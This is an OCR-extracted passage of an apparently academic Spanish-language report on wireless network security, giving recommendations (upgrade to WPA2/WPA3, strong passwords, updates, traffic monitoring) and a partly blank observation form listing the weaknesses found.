contrasefias seguras y robustas con la finalidad de disminuir los ataques de
descifrado o de fuerza bruta.

Este informe de recomendaciones se basa y se fundamenta en los principios
bésicos de la seguridad de la informacion, es importante por parte de los
usuarios o administradores de red implementar medidas se seguridad en
redes para salvaguardar la informacion que circula por la red, ademas este
informe se considera destacables por su enfoque en la seguridad inalambrica

y sobre todo en el tipo de cifrado y como tener contrasefias robustas.
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RECOMENDACIONES

Por lo general es importante realizar de protocolos obsoletos como WEP y
WPA a los WPA2 0 WPA3 que son més seguros por lo que su propoésito es
de mitigar los riesgos de seguridad y confidencialidad de los datos en redes
inalambricas. La actualizacion tanto a nivel de software y hardware brindan
esa seguridad de buscar esas posibles amenazas que dafien la integridad de
la red, esto garantizard en todos los aspectos tener una solucion a la
seguridad.

Implementacion de contrasefias seguras es una opcion para disminuir riesgo
algin ataque de descifrado, con combinaciones complejas de caracteres,
utilizar autenticacién adecuada para blindar la seguridad de las contrasefias
y prevenir ataques de fuerza bruta. Es aconsejable que las contrasefias deben
incluir combinaciones de numeros, caracteres especiales, letras mayusculas
y minusculas, y por lo general evitar frases, fechas, nombres o palabras
comunes o informacion.

Optar por la guia propuesta en el informe e implementando medidas de
proteccién e incluso se debe estar al tanto de las actualizaciones y
vulnerabilidades en este &mbito de la ciberseguridad. Podemos incluir
funcionalidades que son bésicas para detectar el trafico de red y que ademas
de generar informes que son de vital importancia por lo que ayudara a
identificar y a solucionar a incidentes de seguridad basadas en redes

inalambricas.
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Anexo (solicitudes de permisos a usuarios propietarios de la red)
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FICHA DE OBSERVACION

Nombre del responsable:

Ricardo Gonzalez Balon

Objetivo:

Fase:

Escaneo

Tiempo estimado:

Nivel de complejidad
a.(bajo)
b.(medio)

c.(alto)

Herramientas tecnoldgicas utilizadas

Hardware:

Software:

Técnicas:

Resultados:

108




=

Falta de encriptacion adecuada

Uso de contrasenas débiles

Falta de actualizaciones de

seguridad

Problemas de Seguridad en redes

inalambricas

Robo de informacién personal

Acceso no autorizado
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Dario a la reputacién




